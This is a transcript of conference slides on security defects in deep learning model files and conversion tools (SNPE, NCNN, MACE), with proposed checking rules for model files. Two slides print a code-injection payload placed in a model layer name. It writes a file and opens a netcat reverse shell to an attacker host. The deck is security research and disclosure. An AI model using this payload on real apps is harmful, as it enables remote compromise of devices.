Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core...
Transcript of Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core...
![Page 1: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/1.jpg)
Checking Defects in Deep Learning AI Models
Li, Kang Zhang, Yan
Qian, Jiayu Liu, Zhao
![Page 2: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/2.jpg)
1. AI & Deep Learning Models
![Page 3: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/3.jpg)
AI & Models
https://github.com/BVLC/caffe/tree/master/examples/cpp_classification
http://yann.lecun.com/exdb/publis/pdf/lecun-01a.pdf
https://images.nvidia.com/content/tegra/automotive/images/2016/solutions/pdf/end-to-end-dl-using-px.pdf
MNIST
ImageNet
NVIDIA PX DAVE-2
![Page 4: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/4.jpg)
Core Components and Organization of AI Models
• Three core components
• Layers, parameters, and weights
• Model files are organized by layers
• Each layer has type, name, and layer-specific parameters
• training parameters (initial weight etc.)
• blob (weights)
• bottom (input) and top (output) blobs present connections between layers
• top blob (output) often share the same name with layer name, but not necessary
Data flow direction (bottom to top)
![Page 5: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/5.jpg)
http://yann.lecun.com/exdb/publis/pdf/lecun-01a.pdf
Sample Neural Network (LeNet-5) Architecture
![Page 6: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/6.jpg)
name: "LeNet"layer { name: "data" type: "Input" top: "data" input_param { shape: { dim: 1 dim: 1 dim: 28 dim: 28 } }}layer { name: "conv1" type: "Convolution" bottom: "data" top: "conv1" param { lr_mult: 1 } param { lr_mult: 2 } convolution_param { num_output: 20
kernel_size: 5 stride: 1 weight_filler { type: "xavier" } bias_filler { type: "constant" } }}layer { name: "pool1" type: "Pooling" bottom: "conv1" top: "pool1" pooling_param { pool: MAX kernel_size: 2 stride: 2 }}layer { name: "conv2" type: "Convolution"
bottom: "pool1" top: "conv2" param { lr_mult: 1 } param { lr_mult: 2 } convolution_param { num_output: 50 kernel_size: 5 stride: 1 weight_filler { type: "xavier" } bias_filler { type: "constant" } }}layer { name: "pool2" type: “Pooling"
bottom: "conv2" top: "pool2" pooling_param { pool: MAX kernel_size: 2 stride: 2 }}layer { name: "ip1" type: "InnerProduct" bottom: "pool2" top: "ip1" param { lr_mult: 1 } param { lr_mult: 2 } inner_product_param { num_output: 500
weight_filler { type: "xavier" } bias_filler { type: "constant" } }}layer { name: "relu1" type: "ReLU" bottom: "ip1" top: "ip1"}layer { name: "ip2" type: "InnerProduct" bottom: "ip1" top: "ip2" param { lr_mult: 1 } param {
lr_mult: 2 } inner_product_param { num_output: 10 weight_filler { type: "xavier" } bias_filler { type: "constant" } }}layer { name: "prob" type: "Softmax" bottom: "ip2" top: "prob"}
Sample Model Files
Model Layers (lenet_deploy.prototxt)
![Page 7: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/7.jpg)
Sample Model Files (for training)
![Page 8: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/8.jpg)
Sample Model Files (after training)
Model Parameters (lenet.caffemodel)
![Page 9: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/9.jpg)
Sample Model Files
Model Parameters (lenet.caffemodel)
layer { name: "conv1" type: "Convolution" bottom: "data" top: "conv1" param { lr_mult: 1 } param { lr_mult: 2 } blobs { data: 0.063789606 data: 0.41717789 data: 0.24037249
… …
data: 0.0044610952 shape { dim: 10 dim: 500 } } blobs { data: -0.0088488162 data: -0.0015859469 data: -0.015499314 … …
Parameters translated to plain text format
![Page 10: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/10.jpg)
2. Where Are Deep Learning Models Located?
![Page 11: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/11.jpg)
Case #1: AI Models in Cloud
![Page 12: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/12.jpg)
Prediction Result{0.6 – “cat” …}
Query{image data …} Software at the Cloud side
• Caffe
• CPPClassification
• Model: BAIR/BVLC CaffeNet Model
Slide from POC 2017 Talk “Exposing Vulnerabilities in Deep Learning Frameworks”. This work later gets published in IEEE S&P 2018
AI as a Cloud Service
![Page 13: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/13.jpg)
AI as a Cloud Service
Slide from POC 2018 Talk on “Practical Evading Attacks on Commercial AI image recognition services” This work later gets published at USENIX Security 2019
![Page 14: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/14.jpg)
Case #2: Local AI Models ?!
![Page 15: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/15.jpg)
Let’s Look at one App
![Page 16: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/16.jpg)
https://prisma-ai.com/
![Page 17: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/17.jpg)
![Page 18: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/18.jpg)
Examples of Local Models
![Page 19: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/19.jpg)
If online processing is turned off images are processed using a computing power of your device only.This could lead to lowering of a processing speed and unavailability of some styles.
![Page 20: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/20.jpg)
Why Local AI Models ?
• Trend of AI Hardware Capability at Mobile Side
• Qualcomm NPE, Huawei HiAI, Samsung Exynos AI
• Driven forces:
• Delay, bandwidth, privacy concerns
![Page 21: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/21.jpg)
APPs that use AI Models
Mixed Platform
TensorFlow Mobile
Caffe2 TF Lite
MegVii
CaffeSenseTime
![Page 22: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/22.jpg)
3. AI Model Representation
![Page 23: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/23.jpg)
AI Model Files
• Local model files (built-in within applications)
• On-demand, model files downloaded from network
• Some of them are Obfuscated / protected
![Page 24: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/24.jpg)
Local Model Files
• Built-in Model FilesTable 1-1
APK├── AndroidManifest.xml├── assets├── ├── 13.cambricon├── ├── 15.cambricon├── ├── 23.cambricon├── ├── 24.cambricon├── ├── 2.cambricon
APK com.——.camera├── AndroidManifest.xml├── assets├── ├── mdoel6.zip
• Download at runtime/sdcard/toffee/facemodels
/$APK_HOME/cache/temp_pies/illegal_beauty2.pie
![Page 25: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/25.jpg)
More information about reverse engineering AI models,please see my talk at HITB Dubai 2019
![Page 26: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/26.jpg)
There is no standard representation for
Deep Learning Models
![Page 27: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/27.jpg)
An AI Model with Extended Fields
Reversed File Format for Vendor C’s Models
Information that might expose the vendor’s name is hidden
None Standard information(vendor extension)
![Page 28: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/28.jpg)
Tools provided to convert generic models to vendor specific models
TrainingData
Design + Train Generic Model(weights+biases)
Convert Tool
Vendor SDK
VendorOptimized
Format
AI lib
Caffe,Tensor Flow …, Load onVendor Cloud or Device
Vendor AIService
IPU
![Page 29: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/29.jpg)
4. What Can Go Wrong With “Bad” Models?
![Page 30: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/30.jpg)
Problem #1Load or run-time error due to invalid parameters
![Page 31: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/31.jpg)
Invalid Parameters in Models (SNPE)
layer {name: “data"
type: "Input" top: "data" input_param {
shape: { dim: 4294967296 dim: 3 dim: 227 dim: 227 }
}}
snpe-caffe-to-
dlcprorotxt dlc
modelload
dlc modelrun dlc model
snpe-caffe-to-dlc -c bad.prototxt -d bad.dlc
![Page 32: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/32.jpg)
Invalid Parameters in Models (SNPE)
• The big number is truncated ( 4294967296==0x100000000 —> 0x00000000 )
• The conversion tool snpe-caffe-to-dlc fails to catch the problem
• Model in dlc contains an invalid shape, thus application crashes at the “forward” time
layer {name: “data"
type: "Input" top: "data" input_param {
shape: { dim: 4294967296 dim: 3 dim: 227 dim: 227 }
}}
snpe-caffe-to-
dlcprorotxt dlc
modelload
dlc modelrun dlc model
snpe-caffe-to-dlc -c bad.prototxt -d bad.dlc
Crash!
![Page 33: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/33.jpg)
RBX=0x100000000 BUT
EBX=0x0
N C H W {0, 3, 227, 227}
add_data_layer()@libDlModelTools.so
![Page 34: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/34.jpg)
Invalid Layer Topology in Models (NCNN)
caffe2ncnnprototxt param +bin
loadmodel
run model
./caffe2ncnn deplpy.prototxt bvlc_alexnet.caffemodel alexnet.param alexnet.bin
./ncnn2mem alexnet.param alexnet.bin alexnet.id.h alexnet.mem.h
ncnn2mem parambin + bin
![Page 35: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/35.jpg)
Invalid Layer Topology in Models (NCNN)
caffe2ncnnprototxt param +bin
loadmodel
run model
./caffe2ncnn deplpy.prototxt bvlc_alexnet.caffemodel alexnet.param alexnet.bin
./ncnn2mem alexnet.param alexnet.bin alexnet.id.h alexnet.mem.h
ncnn2mem parambin + bin
• Conversion tool ncnn2mem eliminates plaintext content, such as layer name
• The binary topology file (Parambin) uses a number to label each layer and blob
• NCNN does not check whether the index number is the same for both top and bottom blobs
Infinite Loop!
![Page 36: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/36.jpg)
Infinite recursioncauses a segment fault
Recursion after run the model
![Page 37: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/37.jpg)
Problem #2Code injection During Model Conversion
![Page 38: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/38.jpg)
python tools/converter.py convert --config=mace/mobilenet.yml --target_abis=arm64-v8a
converter.pyprototxt model.
soload
model.sorun
model.so
Invalid Operation in Model Conversion (MACE)
gcc
• MACE framework’s local models are in the form of executable code (.so)
• Conversion tool uses template(jinja2) to produce C++ code
C++ Code
![Page 39: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/39.jpg)
Demo of code injection through AI Models(MACE)
![Page 40: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/40.jpg)
python tools/converter.py convert --config=mace/mobilenet.yml --target_abis=arm64-v8a
converter.pyprototxt model.
soload
model.sorun
model.so
Invalid Operation in Model Conversion (MACE)
layer { name: 'Hello");FILE *f=fopen(“/data/data/com.xiaomi.mace.demo/pwn",“w");fprintf(f,"%s","Pwned by LambdaX");fclose(f);for(;;){system("toybox nc IP 8888|/system/bin/sh|toybox nc IP 9999 &");system("ping -c 1 1.1.1.1");printf("World' type: "ReLU" bottom: "fc7" top: "fc7" }
gcc
![Page 41: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/41.jpg)
Injected Code
sub_14f410@libmace_mobile_jni.so
CreateOperator19()@op1.cc
![Page 42: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/42.jpg)
python tools/converter.py convert --config=mace/mobilenet.yml --target_abis=arm64-v8a
converter.pyprototxt model.
soload
model.sorun
model.so
Invalid Operation in Model Conversion (MACE)
layer { name: 'Hello");FILE *f=fopen(“/data/data/com.xiaomi.mace.demo/pwn",“w");fprintf(f,"%s","Pwned by LambdaX");fclose(f);for(;;){system("toybox nc IP 8888|/system/bin/sh|toybox nc IP 9999 &");system("ping -c 1 1.1.1.1");printf("World' type: "ReLU" bottom: "fc7" top: "fc7" }
gcc
• Conversion tool use template(jinja2) to produce C++ code
• Attackers can potentially inject code through models!
• Malicious code would run at model loading or “forwarding” time
![Page 43: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/43.jpg)
Injection Result
• When the APP loads the specific model, the attacker gets a remote shell
![Page 44: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/44.jpg)
Problem #3Demo of Privacy Leak Caused by Model Extensions
![Page 45: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/45.jpg)
An AI Model with Extended Fields
Reversed File Format for Vendor C’s Models
Information that might lead to vendor’s name is hidden
None Standard information(vendor extension)
![Page 46: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/46.jpg)
Mem info about model input
Vendor C’s AI Model File Contains:
• IPU instructions
• Neural network layers and parameters
• Memory addr explicitly coded in the AI model !
![Page 47: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/47.jpg)
Mem info about model output
Vendor C’s AI Model File Contains:
• IPU instructions
• Neural network layers and parameters
• Memory addr explicitly coded in the AI model !
![Page 48: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/48.jpg)
Demo of Data Leak from AI Models
![Page 49: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/49.jpg)
output
Model and Data Leak
input
./classify_offline.host inception_v3.dense.cambricon file_list imagenet_lables.txt offline_imagenet_mean_2 1 1 1 128 rgb
Docker#1
Mosac to hide vendor information
![Page 50: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/50.jpg)
output
leak
Model and Data Leak
input
./classify_offline.host inception_v3.dense.cambricon file_list imagenet_lables.txt offline_imagenet_mean_2 1 1 1 128 rgb
Docker#1
Docker#2
![Page 51: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/51.jpg)
Tampering Results
Original output./classify_offline.host
inception_v3.dense.cambricon file_list imagenet_lables.txt offline_imagenet_mean_2 1 1 1 128 rgb
input
Docker#1
![Page 52: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/52.jpg)
Tampering Results
SOME OTHER DATA……
cover
Original output
Tampered output
./classify_offline.host inception_v3.dense.cambricon file_list imagenet_lables.txt offline_imagenet_mean_2 1 1 1 128 rgb
input
Docker#1
Docker#2
![Page 53: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/53.jpg)
scopecheck
![Page 54: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/54.jpg)
5. Solution — Checking AI Models?
![Page 55: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/55.jpg)
Source of Problem
Model contains Inconsistent or unrealistic parameters
Vendor specific model extension
Flaws in model conversion tool
![Page 56: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/56.jpg)
Checking Unrealistic Parameters
• We inspected multiple frameworks, including SNPE, MACE, TVM, Intel etc. and found many built-in rules.
• Example Rules:
• Layer parameter is not empty, not zero
• Shape (dim) of tensor can’t be null/zero
• Stride must larger than 1, step needs to be positive …
• More than 30+ rules found
![Page 57: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/57.jpg)
Checking Mismatch Parameters
• Data output and input should match between layers
• Example Rules:
• Tensor shape dim should be the same between consecutive layers
• Blob size should match network parameters
• The sum of output dim from a Split layer should be equal to the input dim
![Page 58: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/58.jpg)
Checking Unrealistic Network Topology
• Neural networks usually don’t have nested layers.
• Intermediate output uses accumulated state but they are usually used within a layer (such as in RNN networks)
• Example Rules:
• no identical layer names / indexes
• no loops in data flow (e.g. check loops in bottom and top blob connections)
![Page 59: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/59.jpg)
Vendor Specific Extension
• The checker exposes vendor specific information in models
• No general tools available
• We have to study these extensions on individual bases.
• Need security professional to audit
![Page 60: Checking Defects in Deep Learning AI Modelspowerofcommunity.net/poc2019/KangLi.pdf · Core Components and Organization of AI Models • Three core components • Layers, parameters,](https://reader030.fdocuments.us/reader030/viewer/2022040301/5e7387a14e4b0d3f580cc160/html5/thumbnails/60.jpg)
Summary
AI Model is the core of deep learning applications
Vendors adopt their own file formats for AI models
Model can contain inconsistent or unrealistic parameters
Vendor specific model extension could cause security damages